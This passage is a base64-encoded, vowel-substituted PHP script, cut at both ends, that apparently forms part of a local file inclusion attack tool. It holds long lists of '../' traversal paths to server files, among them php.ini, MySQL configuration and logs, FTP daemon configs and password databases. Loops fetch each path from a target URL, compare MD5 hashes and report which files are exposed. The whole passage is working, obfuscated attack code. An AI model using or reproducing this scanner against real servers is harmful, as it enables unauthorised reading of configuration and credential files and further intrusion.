y4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHB1L2NnNC9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpL2NnNC9waHAuNG40Ii4kYnl0NTYuIiIpOyANCiAgICAgICAgIA0KICAgICAgICAgICRsZjRteXNxbCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtYjRuLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQ1cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL215c3FsL215c3FsLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtc2wydy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2w0Yi9teXNxbC9teS5jbmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvbXlzcWwvbXkuY25mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9teS5jbmYiLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAgJGxmNGZ0cCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd3d3L2wyZ3MvcHIyZnRwZC5zeXN0NW0ubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMmZ0cC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdmhjc2EvcHIyZnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcHIyZnRwZC9tMmQzbDVzLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3ZzZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdnNmdHBkLmNocjIydF9sNHN0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC92c2Z0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy92c2Z0cGQvdnNmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ZzZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9jaHIyMnRVczVycyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3hmNXJsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyLzFkbS9sMmcveGY1cmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdzMtZnRwZC9mdHAxY2M1c3MiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwaDJzdHMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwM3M1cnMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjUtZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjUtZnRwZC9wM3I1LWZ0cGQucGRiIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjVmdHBkLnAxc3N3ZCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjVmdHBkLnBkYiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvZnRwL3AzcjUtZnRwZC8iLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3AycnRzL241dC9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb3UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9wa2dzcmMvbjV0L3AzcjVmdHBkLyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9pID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvYzJudHI0Yi9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNS1mdHBkL3AzcjUtZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy9wM3I1LWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvZnRwLXByMnh5L2Z0cC1wcjJ4eS5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHAtcHIyeHkiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHBsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2wyZ3IydDF0NS5kL2Z0cCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHVvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvZnRwY2hyMjJ0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdXUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9mdHBoMnN0cyIuJGJ5dDU2LiIiKTsgDQogICAgICAgICANCiAgDQogICAgICAgICAkeCA9IDY7IA0KICAgICAgICAgNGYgKCAkdHlwNSA9PSA2ICkgeyANCiAgICAgICAgICAgICRyNXM2ID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdCk7IA0KICAgICAgICAgICAgJHI1c2EgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0YSk7IA0KICAgICAgICAgICAgJHJoMXNoNiA9IG1kaSgkcjVzNik7IA0KICAgICAgICAgICAgJHJoMXNoYSA9IG1kaSgkcjVzYSk7IA0KICAgICAgICAgICAgNGYgKCRyaDFzaDYgIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRXhwbDI0dDFibDUhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjR0NXN0LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aDRsNSgkbGY0MWNjNXNzWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcjVzbyA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNDFjYzVzc1skeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDFjYzVzc1skeF0uIlwiPiIuJHQxcmc1dC4iIi4kbGY0MWNjNXNzWyR4XS4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIDVsczUgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J3I1ZCc+WyFdIEYxNGw1ZCE8L2YybnQ+Ii4kdDFyZzV0LiIiLiRsZjQxY2M1c3NbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gYSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGMybmY0Z1skeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRjMm5mNGdbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRjMm5mNGdbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGMybmY0Z1skeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0YzJuZjRnWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IG8gKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjQ1cnIyclskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjQ1cnIyclskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDVycjJyWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjQ1cnIyclskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0NXJyMnJbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gdSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNHBocDRuNFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRwaHA0bjRbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwaHA0bjRbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNHBocDRuNFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cGhwNG40WyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IGkgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjRteXNxbFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRteXNxbFskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNG15c3FsWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjRteXNxbFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0bXlzcWxbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gZSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGZ0cFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRmdHBbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRmdHBbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGZ0cFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0ZnRwWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQo0ZiAoICR0eXA1ID09IDcgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iO3sgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRwcjJjNW52KTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm